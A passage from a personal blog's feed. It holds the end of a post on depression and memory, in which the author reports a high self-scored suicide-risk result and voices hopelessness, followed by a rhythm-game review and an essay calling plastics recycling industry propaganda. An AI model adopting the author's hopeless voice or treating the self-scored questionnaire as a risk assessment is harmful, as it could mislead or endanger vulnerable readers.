<p>This is important because new hippocampal neurons can mediate pattern separation, which is the process by which similar inputs are treated as distinct, facilitating the formation of unique representations for comparable events. Reduced pattern separation could explain why depressed people have trouble remembering the specifics of their memories as they may have trouble differentiating between them. It has also been proposed as an explanation of overgeneralised fear responses in anxiety disorders.</p>
<p>This can be compounded with a characteristic where depressed people tend to focus on and think about their symptoms and problems ("ruminate") more than non-depressed people.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> This fixation on upsetting situations or events, occupies neural resources that the brain could spend on other things, like memory.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Hey... aren't I doing that right now?</span></aside>
<p>A real cool thing is that this hippocampal atrophy seems to be permanent. In some studies the atrophy persisted for up to decades after the depressions were in remission. In addition, the extent of atrophy did not lessen with increasing duration of remission.<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a></p>
<p>However, this doesn't explain everything. The overgeneralisation of memories has been found to be more evident with positive than with negative events.<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a> In fact, depressed people exhibit a worsening of their sad moods after recalling positive memories.<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a> A smaller hippocampus wouldn't really be a good explanation for this, there would be no good reason for why it would disrupt positive memories more.</p>
<p>Instead, the cause of this may be from stress-related inhibition of midbrain dopamine neurons which disrupt the encoding and consolidation of rewarding experiences, resulting in a positive memory deficit. A common theme in depression is anhedonia, the loss of interest, motivation, and pleasure, which is usually caused by dopamine dysfunction. So through disrupting dopaminergic reward responses, adhedonia may be the cause of the positive memory deficit by depriving the hippocampus of signals that normally trigger consolidation.</p>
<p>The relationship between depression and memory is bidirectional: depression affects memory, but memory problems likely exacerbate depression. A bias to repeatedly retrieve painful memories could clearly sustain a depressive episode, and failure to encode and consolidate positive memories could reinforce the anhedonia that (putatively) disrupted those processes in the first place.</p>
<p>That's been a fun learning experience. Now I can pick from two explanations for why I can't remember nice things: either nothing good has ever happened to me, or my brain is fucked beyond repair making me physically unable to remember them. And honestly, is there even that much of difference between them? Both explanations are just as equally horrifying as the other.</p>
<p>What's the point of doing enjoyable things if I can't remember them? It'll be like they never happened anyway.</p>
<p>Although, it is actually kinda nice to get some real details on how depression is a real biological disorder, rather than some sort of failure of fortitude or spirit. I often feel like I should be able to just be "happier" and get sad when I'm not, so it's good to have a better understanding on this. But fuck, I really wish it was actually just some failure of fortitude or spirit instead of this death spiral where just having depressive symptoms makes me even more depressed.</p>
<p>By now if you're an observant reader, you might already know where this is heading. This is the real reason for this blogs' existence.</p>
<p>The first posts on this blog were boring technical documents. But many of these boring technical documents were written so I wouldn't forget what they were about and could have a reference to them in the future. The most obvious example being the post "<a href="/post/screen_reference">A Reference Of Linux Screen Commands Because I Keep Forgetting Them</a>" with which the title specifically states that it was written because I "keep forgetting [the screen commands]".<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>FYI, I don't use screen anymore and have replaced its' use with tmux.</span></aside>
<p>Maybe what I want to write about actually hasn't changed all that much. When I learn something new, and if I think it's important enough, I'll draft a post and publish here if it's good enough.</p>
<p>In the end, this site isn't really meant for the public but is for a very specific individual. It's why I don't share posts anywhere, or keep track of its' visitors. Because I already know if that individual knows about a new post, and when they've read it.</p>
<p>It's for future me. When I talk to "you", I always assume that you're "me". It's probably why I make these shitty jokes only I would like and very rarely explain something that I think someone should already have a basic understanding of.</p>
<p>I guess most people use a diary for this, but that sounds boring. And the idea (or threat) that these words could be seen by anyone in the world makes me put them under more scrutiny, similar to my reasons for writing open-source software that no one else will use.</p>
<p>If this was just in some diary to be locked away, I wouldn't be putting these references to journals at the bottom. But if I don't, how will you know it's correct? Maybe past me is just going through a particularly bad depressive episode and is making up a bunch of shit to screw you over.</p>
<p>Anyway, I think I'm getting side-tracked. The point is that, if my own brain refuses to do it, this blog would be a good way to remember "positive events". The <a href="/post/vsrg">previous post</a> is an example of this. I've gotten over 100 hours of genuine enjoyment from Beat Saber, and although if it ever comes to it, Beat Saber probably wouldn't stop me from committing suicide. But having a lot of little things like this and that coffee siphon can go a long way.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>"Looking" at pictures of Astolfo is absolutely one of these things as well but I am way too embarrassed to admit that.</span></aside>
<p>Don't get me wrong, every post from now on isn't going to be some wholesome, cuddly, poggers, fun trip to the zoo with the whole family. A big problem for me is that I don't do enough to actually make those "positive memories", and there's the whole dopamine dysfunction thing that's going on. In fact, overtly positive stuff is probably not going to happen at all. Besides, there's nothing like a good rant to help quell years of political rage and let off some steam.</p>
<p>One more thing I want to mention. I tried to figure out how bad my depression really is compared to other people. So I read this paper called "<a href="https://journals.sagepub.com/doi/10.1177/0033294118781855">The Importance of Coping and Emotion Regulation in the Occurrence of Suicidal Behavior</a>", which as you might imagine goes through the "importance of coping and emotion regulation in the occurrence of suicidal behaviour"… obviously.</p>
<p>I would recommend reading it for yourself, unlike some of the other papers, this one is an easy read.</p>
<p>The introduction states that "researchers have established risk factors associated with suicide including depression, poor coping abilities, higher avoidance of stressors, and a lack of close social relationships", which kinda sucks, because I have all of those, but let's move on. The parts I was interested in was how they determined suicidal behaviour and where I'm placed on the spectrum (of not suicidal to suicidal).</p>
<p>So from their study:</p>
<blockquote>
  <p>Suicidal behavior was measured using the Suicidal Behaviours Questionnaire–Revised (SBQ-R; Osman et al., 2001). This is a 4-item inventory that measures past, current, and future suicidal thoughts and attempts. Item 1 measures lifetime SI and/or suicide attempts, item 2 assesses the frequency of SI in the previous 12 months, item 3 quantifies the threat of a suicide attempt, and item 4 is the self-reported likelihood of future suicidal behavior.</p>
</blockquote>
<p>I did some research on the "Suicidal Behaviours Questionnaire–Revised" to see how reliable it is, and it seemed okay. Continuing reading:</p>
<blockquote>
  <p>Each question is answered using a Likert scale and the scale for each question differ slightly. The scales range from a minimum of 0 to a maximum of 6, with lower numbers indicating a relatively low risk of suicide. Total scores on the questionnaire range from 3 to 18 and represent overall suicide risk whereby higher scores represent greater risk. Scores of 7 or above indicate significant risk of suicidal behavior.</p>
</blockquote>
<p>The results for this study had "70 participants (59.83%) who scored below 7 on the SBQ-R (median = 4.00, range = 3–6), and a total of 47 participants (40.17%) who scored higher than 7 (indicating a relatively high suicide risk (median = 9.00, range = 7–15)." Keeping in mind these are 117 students from The Open University in Hong Kong (51 males, 69 females) which were recruited for this study using convenience sampling, so it would include some non-depressed people.</p>
<p>Yet more fun when we read that "suicidal behaviour was positively correlated with avoidance coping", which is not good for a person with social anxiety, as it is a thing I do <strong>constantly</strong>.</p>
<p>Another study with 400 women admitted to the Poisoning Emergency Hospital, Kermanshah University of Medical Sciences following failed suicide attempts had 72% of individuals with a SBQ-R score &gt;8.<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a> Interestingly, marital status, educational level, employment and the type of psychiatric disorder had no significant influence on SBQ-R score. And a history of admission in psychiatric wards, drug abuse, and of attempted suicide among family members were also not associated with risk of repeated attempted suicide.</p>
<p>Right, so obviously we're going to do this questionnaire and see where we stand! Here's an <a href="https://web.archive.org/web/20180702112642/https://www.integration.samhsa.gov/images/res/SBQ.pdf">archive link</a> of one I found. Take some time to do it if you want and let's compare results!</p>
<p>Done?</p>
<p>No?</p>
<p>Ok, I'll wait.</p>
<p>Don't rush, these words will be here forever.</p>
<p>While I'm waiting actually, I want to talk to you. If you're here that is. Yes, "<strong>you</strong> you", not "<strong>me</strong> you". I know future me would never listen to what I'm going to say because the dude is such a dumb cunt.</p>
<p>Don't do what I'm trying to do. For real. It's not good to self-diagnose yourself like this. You could get incorrect information, come to the wrong conclusion, and if you attempt to do something, really mess it up and make it worse. Even if you're doing the most accurate questionnaire ever devised, you're still a unique person and can't boil down everything about your own condition in 4 questions.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>This goes for many of those "personality" tests too. Yeah, I know it's fun to take them and be able to call yourself an "INFP-T", but do you really think you can capture your entire being in just 5 letters? If you can, you're probably an uninteresting person. Just don't take it too seriously.</span></aside>
<p>Questionnaires like these are mainly for studies that look at many people to help find common occurrences. Please go to a doctor or psychologist that can properly understand you if you need help.</p>
<p>Also on the off chance that you really are here, if you want someone else to talk to, you could always talk to me! ;) I have my email on this site so feel free to use it.</p>
<p>Cool, now that you're done, tell me what you got!</p>
<p>…</p>
<p>Huh, interesting.</p>
<p>Now it's my turn. For future reference, I did this on the 27th of December 2020 and my score was <strong>15</strong>.</p>
<p>Yeah… not looking good huh?</p>
<p>Maybe I should mention that the weeks surrounding Christmas to New Year's are always the worst times of the year for me. They've been a consistent source of panic attacks and normally coincide with a real nice, long depressive episode. But I don't actually think the answers I gave would have changed even if I was feeling slightly better at the current time. It's a test on suicidal behaviour - past, present, and future, and not a test on how sad I am right now.</p>
<p>Ah bon, <em>c'est la vie</em>! See you next time I guess.</p>
<h2 id="epilogue">Epilogue</h2>
<p>This part is just so people don't get spoiled if they click one of the references up top and then jump down here. What do you wanna talk about?</p>
<p>Oh why the title is called that? Sure.</p>
<p>Well, you see… I wanted to write a really long title because I thought it would be funny. So I wrote that. And red pandas are my favourite animal, because they're cute as heck and it seems like all they do is sleep and eat bamboo/grapes. What a life.</p>
<p>The alt title is absolutely the better title, which is why I wanted to keep it, but it's just not long enough I'm afraid ;(</p>
<p>Hopefully this should be enough, but here is just a list of some other things I like:</p>
<ul>
<li>Astolfo</li>
<li>Saber Astolfo</li>
<li>Saber Astolfo with bunny ears</li>
<li>Astolfo in casual clothes</li>
</ul>
<p>Hey have I mentioned that I'm bi? I think I had it in the about me page, but I trimmed that down to be barely anything. Don't think I've ever said it outright in a blog post and have only made some hints to it. Yeah, I guess this is me saying it then.</p>
<p>…</p>
<p>What a fucking weird turn this post has taken. Can't wait until next year when I'll think writing this was also a mistake.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.brainfacts.org/diseases-and-disorders/mental-health/2019/depressions-impact-on-memory-022119</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5835184/</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1737771/pdf/v072p00400.pdf</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC60045/</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: https://pubmed.ncbi.nlm.nih.gov/17099603/</div>
<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: https://pubmed.ncbi.nlm.nih.gov/17696704/</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4459161/</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How To VSRG Like Me]]></title>
        <id>https://justin.duch.me/post/vsrg</id>
        <link href="https://justin.duch.me/post/vsrg"/>
        <updated>2021-01-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Update 2024-07-18:</strong> I have been going through old posts and have just found this. Apparently all the videos are dead links as I hosted them on a CDN I stopped using and deleted everything from years ago. I have just removed all the links to videos as I didn't back them up. This post was just an excuse for me to flex on you with how much better I am at video games than you, so maybe it was for the best.</p>
<p>I'm back from my month long depressive episode. Let's talk about video games.</p>
<p>Back in March of last year, I bought an Oculus Quest as a <a href="/post/pokemon_mystery_dungeon">joke for this blog</a>. Okay, maybe not as a captial J "Joke", but I was mainly expecting it to be a "Half-Life: Alyx" machine seeing as I wasn't really interested in any other VR games. I've heard lots of people also say that "Beat Saber" is one of the must have VR games so I got that too, thinking I would only play it for like 5 hours before I got bored (if you have read the post, you should know that I'm not really into rhythm games).</p>
<p>But it turns out that headcrabs scare the shit out of me so I never finished HL:A. And instead Beat Saber is now 1 hour away from being my most played single player<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> game on Steam.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I know there's a multi-player mode now, but it doesn't count because I don't use it.</span></aside>
<p><img src="/img/vsrg-steam.png" alt="all time steam play count" /></p>
<p>So I've replaced my crippling fear of headcrabs with a crippling addiction to cutting cubes.</p>
<p>Beat Saber is probably the <strong>most fun</strong> game I have ever played<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> and because of this, 2020 has had me do the most excersise I've ever done in my life. I'll be the first to freely admit that once I started playing the harder songs, a particuarly long session would make me want to pass out.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Bear in mind this doesn't mean I think it's the "best" game, there are other reasons for why I play video games.</span></aside>
<p>Should I have been playing this game so much that it made me want to pass out? No, that's really unhealthy. But let me tell you it was the <strong>most fun</strong> I've ever had while wanting to pass out before. However, now as I've played more I must have gotten more stamina or something, so unfortunatly my limbs just die instead of wanting to faint &gt;:(</p>
<p>During the resting times when I would take a break from the game because everything hurt, I started to look at other games in the Vertical Scrolling Rhythm Game (VSRG) genre. This post is going to be a look at the ones I've played, and maybe ones I haven't but want to.</p>
<h2 id="beatsaber">Beat Saber</h2>
<p>Obviously we have to start here, partly because it's the one I've played the most and partly because I've not actually explained what the game is in this or the post before. I am very sorry if you have no idea what I've been talking about this entire time, so I would like to give you my apology:</p>
<p>VR games (especially Beat Saber) are well known for making you feel cool while playing them, but actually look completely ridiculous to anyone actually watching you. So here is a video of me playing Beat Saber.</p>
<p>Also just so you know, this was like 5 months ago when I was still bad at the game. I don't mean to brag or anything but I'm ranked in the top 100 players in Australia now.</p>
<p>No I'm sorry, that was a total brag. Let me give you another video (from around the same time) as an apology.</p>
<p>Hopefully that also explained to you how the game works. But if you don't have over a decade of experience in playing video games and can't parse everything from two videos, I'll give a brief explanation.</p>
<p>Basically you have two swords of different colours on each hand with which you need to cut the cubes in half with the corresponding colour (so hit the red cube with the red sword). The cube also have an arrow on them, which denotes the direction in which you cut them. A cube with an arrow at the top pointing down means you it vertically from the top to bottom, and a cube with an arrow at the left point right means to cut it horizontally from the left to right. Some cubes have dots in the middle insetad and that just means to can cut them from any direction.</p>
<p>Unlike most rhythm games (as we'll see soon) there is no timing element to the cuts. Instead of getting scored on when you cut the block it's how well you cut the block. For most people this is unimportant unless you are going for rank, but if you must know, it's based on how close your cut is to the center of the block and how much of an angle is made with your saber when it's cut. For more info read this <a href="https://bsaber.com/indepth-guide/">post</a>.</p>
<p>Some people think this is bad and discounts it from being a rhythm game because it doesn't have that timing element, but I disagree. One of the good things about this scoring system is that you can never get a perfect score (on any somewhat complicated map) because getting the max amount of points (115) consistenly on every block requires an amount of accuracy no human has. This means that there is always room to improve.</p>
<h2 id="djmaxrespectv">DJMAX RESPECT V</h2>
<p>I actually have recorded gameplay of all the games we will look at, so I'll show it to you first in hopes that it can offset my crappy explanations of video games.</p>
<p>If you're wondering, yes, I have been planning this post so long that I've literally moved apartments before I started writing it.</p>
<p>DJMAX is one of the more standard VSRGs. As you can see it actually scrolls <strong>vertically</strong> so if you've seen a VSRG before this should be pretty much the same. For this one you just have to press the correct key when the note passes the judgement line and you get scored on how close the note is to the line when you press it. You can also play songs with a different number of keys (4K, 5K, 6K, and 8K) but I mainly play on 6 keys.</p>
<p>This is the first rhythm game I started playing after Beat Saber because I wanted a more normal VSRG experience. Most preople probably play osu!mania because osu! is (I think?) the most played rhythm game in the world, but I don't like osu! from my one experience playing it 5 years ago so I didn't want to install it.</p>
<p>I also looked at Stepmania and Etterna, but settled on Respect V because it looked the prettiest.</p>
<p>DJMAX has been predominantly a console game on PlayStation systems, with Respect V being one of the few titles to come to PC, so the charts are significantly easier due to being able to play on a keyboard instead of controller. They have added a special "SC" difficulty for keyboard players which has become the new highest difficulty, but I'm not very good so I've yet to complete one.</p>
<p>One of the best features of this game is that every (not actually every, but we'll get to that) song is key-sounded<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>. This means that the actual sounds of the song play when you hit the notes, so if you miss a note or hit the wrong key, the song won't sound as it should. Most games just have a generic sound that plays over the song when you hit the notes, but having the actual notes of the song play adds a lot to the experience.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I think Guitar Hero does this too.</span></aside>
<p>Unfortunately, to do this the developers need to have the actual layers that make up the song so they can seperate them and bind it to the keys at the correct time. This isn't always possible to get due to licensing agreements, so while all of the songs in the base game are key-sounded, not all DLC songs (like in the video) are.</p>
<p>Obviously this isn't the fault of the game, so I can't really blame them but it is a big shame.</p>
<h2 id="musedash">Muse Dash</h2>
<p>This is a game I saw in my Youtube home page being played by a VTuber. I don't really know what a VTuber or Hololive is but apparently they've gotten banned from streaming this game because the publisher is Chinese and one them acknoledged Taiwan as an independant country(?) I don't really know the specifics because I don't actually care, so don't I even know why I'm talking about it right now.</p>
<p>Anyway I thought the game looked fun so I bought it.</p>
<p>The gist of this game is that there are two lanes and you press a key when something goes next to that circle. It's pretty simple. I found out after recording that video is that there are actually two buttons you can use when hitting a lane, which makes mashing way easier if you just alternate between the two.</p>
<p>One thing I don't like is how hard it is for me to read what's going on, the notes take form as many different things and sometimes that makes me just stop paying attention. Another thing is that I've seen the help text on the loading screen say things like "How old are the girls? You're asking too many questions!", which is… a weird thing to say. I haven't looked much into the fanbase of this game, and at this point I don't think I'll like what I'd see.</p>
<h2 id="quaver">Quaver</h2>
<p>Quaver is another standard VSRG and is the only one on this list that has a proper replay system, which means I didn't have to spend several tries at recording a semi-decent attempt at a chart that doesn't make me seem completely crap at these games.</p>
<p>I believe it's actually supposed to be a clone of osu!mania so it only has 4K and 7K modes. While it's not as pretty or well polished as DJMAX, it is open-source and free on Steam so that's cool.</p>
<p>Generally, you'd want to play a game like this instead of DJMAX because the community has the ability to map songs for it. For Beat Saber, custom maps require a mod you can't have custom maps at all in DJMAX. This is probably better if you don't actually care about how pretty your game is and just prefer the pure gameplay, but from my experience there is one major issue with this.</p>
<p>People don't know how to make maps so most of them suck.</p>
<p>In DJMAX every song is created by the developers so there is a baseline quality to them, but here there are thousands of people making maps all with varying levels of quality. And in my experience (maybe because I mainly play the easier charts, and those are harder to map for), the quality skews towards the "not good" side.</p>
<p>I haven't found this to be much of an issue with Beat Saber, because the game is just so <strong>good</strong> that you can find fun in trying to do weirdly mapped charts. There's an entire subcatergory of players who specialise in this skill.</p>
<h2 id="deemoreborn">Deemo -Reborn-</h2>
<p>This will actually need a bit of an explaination to start. Deemo -Reborn- can be played in both VR and non-VR. It's a standard VSRG like DJMAX and Quaver, but it becomes 4K for VR and 6K for non-VR. I've played both versions so here is the VR gameplay first.</p>
<p>When I first saw that you could play it in VR, I assumed that it was just for looking around and you'd still need the keyboard to press the notes when you actually play. But no! You actually use your VR controllers to try to physically hit the piano when the notes reach the jugement line.</p>
<p>I'd never would have thought that this would work very well, and it doesn't. VR controllers (or the Oculus Touch controllers at least) are not very accurate, which lead to me often hitting the piano when I didn't mean to.</p>
<p>But even with that jank, it's still pretty fun. Not Beat Saber fun. But nothing is going to beat Beat Saber fun. And although it's not anything like playing a piano, it's enjoyable to pretend that somehow smashing your hands against some ethereal board is making music.</p>
<p>The non-VR mode is just normal VSRG.</p>
<p>I don't really have anything more to say about it.</p>
<h2 id="spinrhythmxd">Spin RhythmXD</h2>
<p>Last of the games I have played is Spin RhythmXD. This is one of the more interesting games in this list because it's the most like an arcade game. You can play it using an actual MIDI DJ Turntable, but I don't have one of those so I use a mouse and keyboard.</p>
<p>The mouse spins the thing on the bottom with the red and blue rectangles and you need to match those with the dots/lines on the lane. For the dots you don't need to press anything, just make sure they go to the correct colour, but with the bigger notes you need to hit a key on the keyboard with good timing.</p>
<p>There's also those green/line notes that you hit with spacebar, and sections where you flick the mouse left or right to let the thing freely spin. I think there's more stuff in the harder levels, but I'm <strong>bad</strong> so haven't gotten to them yet.</p>
<p>All this stuff was a bit overwhelming at the start, and took some time to get used to but it's very satisfying to nail a song (or sections of a song if you're me).</p>
<p>My biggest problem (if you can tell by the title of the video) is that I don't like any of the songs the game comes with. I'm just not a fan of very basic house/electronic music.</p>
<h2 id="others">Others</h2>
<p><strong>Update 2024-07-18:</strong> HEY IM BACK! I've also discovered that YouTube embeds no longer work and I can't be bothered to fix them. I've converted the embeds to links. Just image there are video embeds where the links are.</p>
<p>All the games I've played are on PC but I found out recently that there's actually an entire world outside my apartment filled with many more interesting arcade games. I'll probably never get to play them because I don't ever leave my room and they also all seem to only be in Japan but boy do they look neat.</p>
<p><a href="https://www.youtube.com/watch?v=vTFqyFc-m9A">chunithm</a></p>
<p>The first one is CHUNITHM which is a game I found out about after they did a collaboration with DJMAX<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span>. I have no idea what is going on, but it looks cool as hell.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>The song I played comes from this game.</span></aside>
<p><a href="https://www.youtube.com/watch?v=8_4XquCf72A">bfeg</a></p>
<p>This is "Brain Fluid Explosion Girl". I like it because the name is funny.</p>
<p><a href="https://www.youtube.com/watch?v=GzYkqdlxAtQ">maimai</a></p>
<p>This one is called "maimai" and it certainly isn't a VSRG, but one of the comments of the video says "all that crazy shit and still the washing machine didn't open…" and that's the funniest thing I've read all of last year.</p>
<p>Also here's a video of a guy doing playing two of these at the same time.</p>
<p>What the fuck.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Recycling Is Capitalist Propaganda And Here's Why]]></title>
        <id>https://justin.duch.me/post/recycling_is_propaganda</id>
        <link href="https://justin.duch.me/post/recycling_is_propaganda"/>
        <updated>2020-11-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>You know what's cool?</p>
<p>Drinking plastic.</p>
<p>We consume 21 grams of plastic (the weight of a credit card) a month on average. Tiny microplastics, many invisible to the human eye, have be found in rain, drinking water and oceans worldwide.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Microplastic fibres are plastic filaments released from acrylics, polyester or nylon fabrics and rinsed out of washing machines by the thousands per article of clothing. These fibres then go into the ocean, which get carried by wind or rain to spread into other regions. Researchers have found microplastics in pristine regions of remote French Pyrenees mountain regions and estimate that France is "blanketed by 2,000 tons of plastic particles" every year.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>These fibres can be so small that they slip through most filters and enter the bloodstreams of organisms that ingest them.</p>
<p>But enough about that, let's talk about propaganda.</p>
<p>The entire recycling movement was initiated by a consortium of industry groups who wanted to divert people's attention away from even more radical legislation to control the amount of waste these companies were putting out.</p>
<p>In the '80s, the industry was at the centre of an environmental backlash. Fearing an outright ban on plastics, manufacturers looked for ways to get ahead of the problem. They looked at recycling as a way to improve the image of their product and started labelling plastics with the now ubiquitous chasing-arrows symbol with a number inside.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>However, only a tiny portion of plastics are actually recycled (less than 10%), basically just the soda bottles and milk jugs. It's not that you can't physically recycle other plastics. It's just that it doesn't usually make sense economically.</p>
<p>Recycling plastics is expensive. It's time-consuming. It's chemically problematic. And it's just cheaper and easier to make plastic out of new oil instead of plastic trash.</p>
<p>Injection molding of plastic can be done only when one third or less of the pellets are recycled. If there is too much recycled material in the mix it doesn't flow into the mold correctly and one third is the most you could possibly use and then that product can not be recycled again. The polymers that make up the plastic simply aren't capable of reforming over and over.</p>
<p>Okay so plastics have a bad reputation for being unfriendly to the environment, but you (a big businessman in the plastics industry) need people to keep buying more so you can keep the profit margins up. You want to keep making plastic, but the more you make, the more plastic trash you get. And the obvious solution to this is to recycle it. But you don't want to because it's too expensive.</p>
<p>Wow, what a predicament. Obviously you just can't use another material, single use plastic is amazing. It's cheap, it's easy to make, and you can't re-use it. If people are able to re-use their stuff, then that means they won't buy as many things from you! No way are you going to let that happen!</p>
<p>Thankfully, there's an obvious solution that us businessmen have been using for decades: <del>lie</del> uhh I mean <strong>advertise</strong>. We will advertise our way out of this can't-recycle-it problem.</p>
<p>In an interview by NPR reporter Laura Sullivan, Larry Thomas, a lobbiest for the plastics industry said:<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a></p>
<blockquote>
  <p>If the public thinks that recycling is working, then they're not going to be as concerned about the environment</p>
</blockquote>
<p>Recycling advertisements are paid for by the oil and plastic companies, and have lead to a $50-million-a-year industry-wide ad campaign promoting plastic. According to the interview, the "industry funded recycling projects in local neighbourhoods, expensive sorting machines that didn't make any economic sense, school recycling contests. All of this was done with great fanfare."</p>
<p>Recycling is a scam to get you to buy more plastic.</p>
<p>So what, should you just stop recycling plastic? Eh, it's actually a little complicated.</p>
<p>This may sound strange, but there's actually nothing wrong with not recycling plastic and sending it right to the landfill. It sequesters carbon, isn't too terrible for the environment (it just sits there in the ground), and it's not like we're going to run out of landfill space any time soon. Again, from the interview: "Thomas says we probably have thousands of years of landfill space left in the U.S. And even hardcore environmentalists reluctantly agree that, yeah, we have a lot of space left. But people thought we were running out of space, and that was what mattered."</p>
<p>Plastics recycling have also been improving. In recent years, it has been possible to make PET bottles from 100% recycled plastic which are qualitatively just as good as bottles made from so-called virgin plastic.<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a> None of that changes the disgusting behaviour of how companies have been misleading the public in to believing that plastics were being largely recycled and recyclable for the past fifty years, when in fact they largely were not. But it's something.</p>
<p>So, the solution isn't to not recycle plastic, or only recycle "good" plastic. It's to not buy plastic.</p>
<p>It's why there are two R's before recycling in "Reduce, Reuse, Recycle".</p>
<p>And this just isn't just for plastics but for "things" in general. Shifting the environmental responsibilities from business to the consumer is a global phenomenon.</p>
<p>America's anti litter campaigns like "Keep America Beautiful" is propaganda to rail against bad environmental habits on the part of <em>individuals</em> rather than businesses.</p>
<p>"In essence, Keep America Beautiful managed to shift the entire debate about America's garbage problem. No longer was the focus on regulating production—for instance, requiring can and bottle makers to use refillable containers, which are vastly less profitable. Instead, the “litterbug” became the real villain, and KAB supported fines and jail time for people who carelessly tossed out their trash, despite the fact that, clearly, “littering” is a relatively tiny part of the garbage problem in this country (not to mention the resource damage and pollution that comes with manufacturing ever more junk in the first place). Environmental groups that worked with KAB early on didn't realize what was happening until years later."<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a></p>
<p>There's a bigger point that could be made here:</p>
<blockquote>
  <p>Climate change isn't your fault.</p>
</blockquote>
<p>Your expensive electric car isn't going to help if the batteries are made in factories that pollute the environment even more.</p>
<p>There have recently been studies coming out about the pandemic driving habits and how traffic and car trips saw huge drops March through May, yet we only saw something like a 5-8% drop in pollution.<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a></p>
<p>And besides, a global pandemic with tens of millions of people dying and being out of work isn't the best way to de-carbonise our economy. We need systemic changes in our energy infrastructure and new green technologies.</p>
<p>There isn't much you can do as an individual can do to help because you aren't the one causing it. Real change won't come at the consumer level but will have to be driven by improvements in the corporate supply chain. And few businesses will implement more sustainable methods unless there's an economic benefit.</p>
<p>So, if our capitalist overlords are just going to lie and create propaganda rather than even trying to attempt becoming more sustainable, we're going to have to force them to.</p>
<p>Or better yet, just get rid of them ;)</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.upi.com/Top_News/US/2019/08/27/Microplastics-in-rain-snow-drinking-water-heighten-concerns/7041566590679/</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.upi.com/Science_News/2019/04/16/Airborne-microplastic-particles-found-falling-on-remote-mountain-peaks/7541555381979/</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.cbc.ca/documentaries/the-passionate-eye/recycling-was-a-lie-a-big-lie-to-sell-more-plastic-industry-experts-say-1.5735618</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: https://www.npr.org/2020/09/11/912150085/waste-land</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: https://www.plasticsoupfoundation.org/en/2018/02/pet-bottles-made-100-recycled-plastic/</div>
<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: https://www.motherjones.com/politics/2006/05/origins-anti-litter-campaigns/</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: https://www.npr.org/2020/05/21/858374823/our-pandemic-habits-cut-carbon-emissions-but-its-not-clear-they-ll-last</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[An Anime Made Me Rethink My Entire View On Cognition]]></title>
        <id>https://justin.duch.me/post/cells_at_work</id>
        <link href="https://justin.duch.me/post/cells_at_work"/>
        <updated>2020-11-07T00:00:00.000Z</updated>
